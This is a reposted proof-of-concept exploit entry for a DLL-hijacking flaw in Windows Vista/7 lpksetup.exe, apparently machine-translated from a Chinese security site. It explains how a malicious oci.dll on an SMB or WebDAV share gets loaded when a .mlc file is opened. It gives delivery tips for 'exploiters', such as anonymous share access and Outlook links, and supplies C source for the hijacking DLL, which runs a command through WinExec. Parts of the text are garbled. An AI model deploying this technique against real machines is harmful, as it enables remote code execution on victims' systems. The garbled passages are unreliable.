Windows Vista / 7 lpksetup. exe the DLL-hijacking-vulnerability warning-the black bar safety net

ID MYHACK58:62201129201
Type myhack58
Reporter 佚名
Modified 2011-02-17T00:00:00


/* Exploit: Windows Vista/7 lpksetup.exe (oci.dll) DLL Hijacking Vulnerability Extension: the . mlc Author: Tyler Borland ( Date: 10/20/2010 Tested on: Windows 7 Ultimate (Windows Vista Ultimate/Enterpries and Windows 7 Enterprise should be vulnerable as well) Effect: Remote Code Execution

lpksetup is the language pack installer that is included by default with Windows Vista/7 Ultimate or Enterprise editions. By opening a . the mlc file through something like an open SMB or WebDav share, the oci.dll the file will be grabbed and ran in the context of the vulnerable application.

This is a LoadLibrary() load path bug. The load library search order is: 1. The directory from which the application loaded 2. 3 2-bit System directory (Windows\System32) 3. 1 6-bit System directory (Windows\System) 4. Windows directory (Windows) 5. Current working directory 6. Directories in the PATH environment variable As OracleOciLib is not used on target system, oci.dll does not exist, so if a full path is not supplied when calling the dll or the search path has not been cleared before the call, we will hit our fifth search path and load the library from the remote filesystem.

Interestingly enough, while lpksetup is blocked for execution by UAC under a normal user, the injected library (payload) will still execute. Exploiters make sure your system's security policy, secpol. msc, allows complete anonymous share access for connecting users. Outlook links seem to be the current exploit toyland, other vectors: */

include <windows. h>

int main() { WinExec("calc", SW_NORMAL); // the typical non-lethal PoC exit(0); return 0; }

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) { main(); return 0; }